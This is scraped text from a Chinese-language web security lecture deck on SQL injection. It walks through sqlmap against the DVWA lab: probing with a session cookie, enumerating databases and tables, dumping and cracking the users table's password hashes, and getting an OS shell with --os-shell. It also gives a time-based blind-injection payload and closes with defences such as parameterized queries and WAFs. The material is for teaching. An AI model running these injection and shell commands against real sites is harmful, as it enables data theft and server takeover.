PowerPoint 演示文稿

Size: px

Start display at page:

Download "PowerPoint 演示文稿"

蠡御夏
4 years ago
Views:

1 Web 攻防第 04 讲 SQL Inject(3) 主讲 : 罗老师 /BOBO

2 SQL Inject SQL Inject(1) SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 SQL Inject(2) 实验 :SQL Inject 漏洞手动利用 -OS 权限获取实验 :Burp Suit 爆破数据库表名 SQL Inject(3) SQLmap 经典用法介绍 SQLmap 经典用法示例实验 : 使用 SQLmap 进行自动注入 SQL Inject 漏洞防范措施更多信息 2018/6/9 2

3 SQL Inject(3) 课程内容 SQLmap 经典用法介绍实验 : 使用 SQLmap 进行自动注入 SQL Inject 漏洞防范措施更多信息 2018/6/9 3

4 SQLmap 简介 SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具, 有一个非常棒的特性, 即对检测与利用的自动化处理 ( 数据库指纹访问底层文件系统执行命令 ) 2018/6/9 4

5 Win7 安装 SQLmap 步骤 1: 下载 SqlMap.zip 步骤 2: 下载用于 Windows 系统的 Python 步骤 3:Python2.7 默认安装的路径是 C:\Python27 步骤 4: 解压 SqlMap.zip 里面, 在 python 文件夹中创建一个新的文件夹, 并命名为 SqlMap 步骤 5: 选中文件 sqlmap.py 右键创建桌面快捷方式, 点击快捷方式属性, 目标那改为 : %windir%\system32\cmd.exe 点击快捷方式, 输入 :sqlmap.py -help 2018/6/9 5

6 SQLmap 经典用法介绍 (6 步走 ) 步骤 1: 带上 cookie 对 URL 进行注入探测 -u "xxx" --cookie= "yyy" 步骤 2: 对数据库名进行获取 -u "xxx" --cookie= "yyy" -current-db 步骤 3: 对数据库的表名进行枚举 -u "xxx" --cookie= "yyy" -D dvwa --tables 步骤 4: 对数据库的表的列名进行枚举 -u "xxx" --cookie= "yyy" -D dvwa -T users --columns 步骤 5: 探测数据库表的密码列爆破 -u "xxx" --cookie= "yyy" -D dvwa -T users -C name,password --dump 步骤 6: 获取 Shell, 选择后台语言 -u "xxx" --cookie= "yyy" --os-shell 2018/6/9 6

7 常用的使用选项 1 --cookie : 设置我们的 cookie 值将 DVWA 安全等级从 high 设置为 low 2 -u : 指定目标 URL 3 -b : 获取 DBMS banner 4 current-db : 获取当前数据库 5 current-user: 获取当前用户 6 string : 当查询可用时用来匹配页面中的字符串 7 users : 枚举 DBMS 用户 8 --password : 枚举 DBMS 用户密码 hash 9 dbs: 枚举 DBMS 中的数据库 10 -D: 要枚举的 DBMS 数据库 11 --tables: 枚举 DBMS 数据库中的数据表 12 -T: 要枚举的 DBMS 数据库表 13 --columns : 枚举 DBMS 数据库表中的所有列 14 -C: 要枚举的 DBMS 数据表中的列 15 --dump : 转储 DBMS 数据表项 16 --os-shell: 获取 shell 17 -v x //x=0~6, 不同的级别显示不同程度的过程信息, 数值越大, 越详细 18 --purge-output // 清除之前的缓存日志 2018/6/9 7

8 SQL Inject(3) 课程内容 SQLmap 经典用法介绍实验 : 使用 SQLmap 进行自动注入 SQL Inject 漏洞防范措施更多信息 2018/6/9 8

9 实验 : 使用 SQLmap 进行自动注入踩点注入信息获取密码破解获取 Shell 2018/6/9 9

10 提交注入, 记录 URL 记录 Burp suite 中的 Cookie security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7 2018/6/9 10

11 sqlmap.py -u " --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any )? [y/n] n 2018/6/9 11

12 sqlmap.py -u " --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" --current-db current database: 'dvwa' 2018/6/9 12

sqlmap.py -u "http://192.168.2.100/dvwa/vulnerabilities/sqli/?

13 sqlmap.py -u " --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" -D dvwa --tables 2018/6/9 13

14 sqlmap.py -u " --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" -D dvwa -T users --columns 2018/6/9 14

-T users -C user,password --dump do you want to store hashes to a temporary file for

15 sqlmap.py -u " --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" -D dvwa -T users -C user,password --dump do you want to store hashes to a temporary file for eventual further processing with other tools [y/n] y do you want to crack them via a dictionary-based attack? [Y/n/q] Y 2018/6/9 15

16 sqlmap.py -u " --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" --os-shell 2018/6/9 16

4: 通过数据库名得到该数据库中的数据表步骤 5: 通过数据库名和数据表明得到该数据表的所有列步骤

17 SqlMap 自动化渗透过程步骤 1: 通过浏览器得到 URL, 通过 Burp Suit 得到 Cookie 步骤 2: 通过 URL 和 Cookie 探测是否有注入点步骤 3: 得到数据库名步骤 4: 通过数据库名得到该数据库中的数据表步骤 5: 通过数据库名和数据表明得到该数据表的所有列步骤 6: 列出数据表的指定列, 如果有哈希密码, 尝试解密步骤 7: 得到服务器的 Shell 2018/6/9 17

18 可参考链接

19 SQL Inject blind Inject( 盲注 ) 盲注后台关闭了错误信息回显, 对于测试人员来说, 因为无法看到反馈信息, 而无法直接进行判断这种情况下, 注入点仍然存在, 只是手动利用起来会很麻烦使用 sleep 来进行基于时间的判断 : 1 and sleep(3)#

20 Firebug 简介 Firebug 是网页浏览器 Mozilla Firefox 下的一款开发类插件, 现属于 Firefox 的五星级强力推荐插件之一它集 HTML 查看和编辑 Javascript 控制台网络状况监视器于一体, 是开发 JavaScript CSS HTML 和 Ajax 的得力助手 Firebug 如同一把精巧的瑞士军刀, 从各个不同的角度剖析 Web 页面内部的细节层面, 给 Web 开发者带来很大的便利例如 Yahoo! 的网页速度优化建议工具 YSlow 2018/6/9 20

21 Firebug 安装进入附加组件之后, 然后在搜索框中搜索 Firebug 附加组件, 找到之后安装即可, 安装完成后重启浏览器就行 2018/6/9 21

22 输入 1 输入 1 and 1 = /6/9 22

23 选择 firebug, 并打开 : 网络 ---- 保持全部第一次输入 :1, 用时 63ms; 第二次输入 :1 and sleep(3)#, 用时 3.07ms 判断可能存在盲注接着下来就给 SqlMap 跑即可 ( 留给同学们做 ) 2018/6/9 23

24 盲注形成的原因 Suppress : 代替, 抑制 2018/6/9 24

25 SQL Inject(3) 课程内容 SQLmap 经典用法介绍实验 : 使用 SQLmap 进行自动注入 SQL Inject 漏洞防范措施更多信息 2018/6/9 25

26 SQL Inject 漏洞防范措施代码层面对输入进行严格的转义和过滤使用参数化 ( 将数据库语句和参数分离 ) cape_string.asp 网络层面通过 WAF 设备启用防 SQL Inject 注入策略 ( 或类似防护系统 ) 云端防护 ( 阿里云盾等 ) 2018/6/9 26

27 部分防注入代码说明 mysql_real_escape_string($id) 对单引号双引号斜杠进行转义通过前段的下拉列表但是可以被 burp suit 的 repeater 重放攻击加入 LIMIT 但是可以被 # 号注释掉用 token 并用分离 (PDO) 分离思想, 难以注入 2018/6/9 27

28 SQL Inject(3) 课程内容 SQLmap 经典用法介绍实验 : 使用 SQLmap 进行自动注入 SQL Inject 漏洞防范措施更多信息 2018/6/9 28

29 更多信息 SQL 注射 /SQL Injection 漏洞 sqlmap 用户手册 SQLMAP 实例 COOKBOOK 老外对数据库注入的介绍 /6/9 29

30 SQL Inject(3) 课程回顾 SQLmap 经典用法介绍实验 : 使用 SQLmap 进行自动注入 SQL Inject 漏洞防范措施更多信息 2018/6/9 30

31 实验 : 使用 SQLmap 进行自动注入 2 请大家完成 dvwa 的盲注实验

32 谢谢观看 Thank You 2018/6/9 32

PowerPoint 演示文稿

PowerPoint 演示文稿 Web 攻防第 02 讲 SQL Inject(1) 主讲 : 罗老师 /BOBO SQL Inject SQL Inject(1) SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 SQL Inject(2) 实验 :SQL Inject 漏洞手动利用 -OS 权限获取实验 :Burp Suit 爆破数据库表名